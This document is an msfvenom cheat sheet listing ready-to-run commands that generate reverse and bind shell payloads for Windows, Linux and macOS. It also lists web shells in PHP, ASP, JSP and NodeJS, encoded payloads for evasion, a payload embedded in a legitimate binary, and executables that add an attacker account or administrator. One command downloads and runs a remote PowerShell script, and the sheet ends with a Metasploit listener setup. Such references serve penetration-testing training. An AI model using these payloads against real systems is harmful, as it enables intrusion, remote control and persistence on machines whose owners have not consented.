msfvenom CheatSheet

🛠️ MsfVenom Cheat Sheet - Enhanced Version

💡 Windows Payloads

✅ Reverse Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > reverse.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > reverse64.exe

✅ Bind Shell

msfvenom -p windows/meterpreter/bind_tcp RHOST=<IP> LPORT=<PORT> -f exe > bind.exe

✅ CMD Shell (Staged/Stageless)

msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell64.exe
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > stageless.exe

✅ Create User

msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe

✅ Command Execution

msfvenom -a x86 --platform windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > exec_ps.exe
msfvenom -a x86 --platform windows -p windows/exec CMD="net localgroup administrators user /add" -f exe > add_admin.exe

✅ Encoders (32-bit & 64-bit)

# 32-bit encoder
msfvenom -p windows/meterpreter/reverse_tcp -a x86 -e x86/shikata_ga_nai -i 5 -f exe > encoded_x86.exe

# 64-bit encoder
msfvenom -p windows/x64/meterpreter/reverse_tcp -a x64 -e x64/zutto_dekiru -i 3 -f exe > encoded_x64.exe

✅ Embedded Payload

msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/windows-binaries/plink.exe -f exe -o plink_payload.exe

✅ Bad Characters

msfvenom -p windows/shell_reverse_tcp EXITFUNC=process LHOST=<IP> LPORT=<PORT> -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d"
msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread LHOST=<IP> LPORT=<PORT> -f c -e x86/fnstenv_mov -b "\x00\x0a"

📁 Linux Payloads

# Meterpreter
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > reverse.elf

# Shells
msfvenom -p linux/x86/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell32.elf
msfvenom -p linux/x64/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell64.elf
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > stageless32.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > stageless64.elf

# Bind
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=<IP> LPORT=<PORT> -f elf > bind32.elf
msfvenom -p linux/x64/meterpreter/bind_tcp RHOST=<IP> LPORT=<PORT> -f elf > bind64.elf

🍏 Mac Payloads

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f macho > mac_reverse.macho
msfvenom -p osx/x86/shell_bind_tcp RHOST=<IP> LPORT=<PORT> -f macho > mac_bind.macho

📃 Web Payloads

# PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php

# ASP/ASPX
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f aspx > shell.aspx

# JSP/WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war

# NodeJS
msfvenom -p nodejs/shell_reverse_tcp LHOST=<IP> LPORT=<PORT>

📜 Scripting Language Payloads

msfvenom -p cmd/unix/reverse_perl LHOST=<IP> LPORT=<PORT> -f raw > reverse.pl
msfvenom -p cmd/unix/reverse_python LHOST=<IP> LPORT=<PORT> -f raw > reverse.py
msfvenom -p cmd/unix/reverse_bash LHOST=<IP> LPORT=<PORT> -f raw > reverse.sh

🔍 List Available Payloads

msfvenom -l payloads

🖹 Multi Handler Setup

msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <IP>
set LPORT <PORT>
set ExitOnSession false
exploit -j

Thank you for using the MsfVenom Cheat Sheet!